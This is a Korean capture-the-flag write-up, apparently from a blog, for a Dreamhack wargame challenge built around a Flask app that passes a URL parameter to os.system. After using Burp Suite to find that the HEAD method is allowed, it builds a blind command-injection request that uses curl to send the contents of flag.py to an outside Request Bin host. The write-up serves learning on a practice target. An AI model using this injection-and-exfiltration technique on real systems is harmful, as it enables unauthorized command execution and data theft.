https://dreamhack.io/wargame/challenges/73

해당 문제는 그냥 봤을 때는 간단해보인다.
사이트를 우선 들어가보면

이렇게 ?cmd=[cmd]라는 텍스트만 나오고 별 다른건 없어보인다.
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
소스코드를 다운받아보면 이 짧은 코드가 다이다.
원래 문제 분석글을 쓸 때 중요한 기능만 빼서 설명했었는데 오늘은 길이가 짧아서 그냥 다 올려봤다.
만약에 cmd가 없으면 ?cmd=[cmd]라는 텍스트를 반환한다.
GET요청으로 리퀘스트하면 아무것도 하지 않는다.
GET이 아닌 요청을 하면 시스템 명령어로 cmd를 실행한다.
실행했을 때, 명령어의 결과값을 출력하는 부분이 없어 이 상황도 고려해야한다.
cmd를 통해 플래그 파일을 찾는게 이 문제의 핵심이다.
다만, get 메소드는 안되기에 option 요청을 보내 사용 가능한 요청을 찾는다.
burp suite를 사용해 해당 메소드를 확인해보자
기본적인 burp suite 사용법은 생략하고

해당 사이트의 HTTP history, GET Method를 찾는다.
'Send to Repeater'을 눌러 응답을 보낸다.

위의 사진과 같이 GET -> OPTION으로 바꾸고 상단의 'Send'버튼을 눌러 Response를 확인한다.
Allow를 보면 GET, OPTIONS, HEAD 메소드 사용을 허용한다고 되어있다.
이중 GET 요청은 문제에서 필터링했기에 HEAD를 사용해 문제를 풀어보자
HTTP 요청 메서드로, HEAD는 GET 요청과 유사하지만 응답 본문(데이터)을 받지 않고, 응답 헤더만 확인한다.
문제에서는 명령어의 결과값을 출력하는 부분이 없다.
그렇기에 외부 서버를 이용하여 결과 값을 받아와야한다.
드림핵 제공툴을 사용해보자
https://tools.dreamhack.games/
이 사이트의 Request Bin을 사용하여 플래그 획득을 시도해볼 것이다.

Request Bin에서 생성된 링크를 복사한다.
그 후 아래 사진과 같이 HEAD /?cmd=curl+https://kbtowys.request.dreamhack.games+-d+"$(cat+flag.py)" 을 입력하여 결과를 Request Bin에 보내도록한다.
/?cmd=: cmd 파라미터는 서버에서 시스템 명령어 실행을 시도한다.
curl: HTTP 요청을 보내는 명령어로, 특정 URL에 요청을 전송하고 응답을 가져올 때 사용된다.
+: 띄워쓰기를 의미
-d: curl의 데이터 전송 옵션. 이 옵션을 사용하면 HTTP POST 요청을 통해 데이터를 전송할 수 있다.
"$(cat+flag.py)"
- $()는 셸 명령어 치환(substitution)이며, 내부의 명령어가 실행된 후 결과가 문자열로 치환된다.
- cat flag.py는 현재 디렉토리에 있는 flag.py 파일의 내용을 출력하는 명령어입니다.

다시 드림핵 Request Bin을 확인하면 플래그 값을 획득할 수 있다.
